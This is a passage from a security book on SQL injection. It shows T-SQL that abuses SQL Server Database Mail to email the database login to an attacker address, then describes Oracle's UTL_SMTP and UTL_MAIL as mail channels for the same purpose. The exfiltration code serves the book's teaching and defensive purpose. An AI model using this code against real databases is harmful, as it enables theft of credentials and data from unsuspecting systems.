SQL Injection Attacks and Defense - 2009

202 Chapter 4 • Exploiting SQL Injection
EXEC msdb.dbo.sysmail_add_account_sp
@account_name='MYACC',@email_address='hacked@victim.com',
@display_name='mls',@mailserver_name='smtp.victim.com',
@account_id=NULL;
--Create a new profile, MYPROFILE
EXEC msdb.dbo.sysmail_add_profile_sp
@profile_name='MYPROFILE',@description=NULL, @profile_id=NULL;
--Bind the account to the profile
EXEC msdb.dbo.sysmail_add_profileaccount_sp @profile_name='MYPROFILE',
@account_name='acc',@sequence_number=1
--Retrieve login
DECLARE @b VARCHAR(8000);
SELECT @b=SYSTEM_USER;
--Send the mail
EXEC msdb.dbo.sp_send_dbmail @profile_name='MYPROFILE',
@recipients='allyrbase@attacker.com', @subject='system user',@body=@b;
Oracle
When it comes to using the DBMS to send e-mail messages, Oracle also provides two
different e-mailing systems depending on the DBMS version. Since Version 8i, you could
send e-mails through the UTL_SMTP package, which provided the DBA with all the
instruments to start and manage an SMTP connection. Starting with Version 10g, Oracle
introduced the UTL_MAIL package, which is an extra layer over UTL_SMTP and allows
administrators to use e-mailing in a faster and simpler way.
UTL_SMTP, as the name suggests, provides a series of functions to start and manage
an SMTP connection: You contact a server using UTL_SMTP.OPEN_CONNECTION,
then send the “HELO” message to that server using UTL_SMTP.HELO, and then specify
the sender and receiver using UTL_SMTP.MAIL and UTL_SMTP.RCP, respectively. Then
you can specify the message with UTL_SMTP.DATA and finally terminate the session using
UTL_SMTP.QUIT.
With UTL_MAIL, the whole process is a lot simpler, as you can perform it in its
entirety with the following stored procedure:
UTL_MAIL.SEND(sender, recipient, cc, bcc, subject, message, mime_type,
priority)
Keep in mind that for obvious security reasons UTL_MAIL is not enabled by default;
an administrator must enable it manually. UTL_SMTP is, however, enabled by default
and granted to the public role.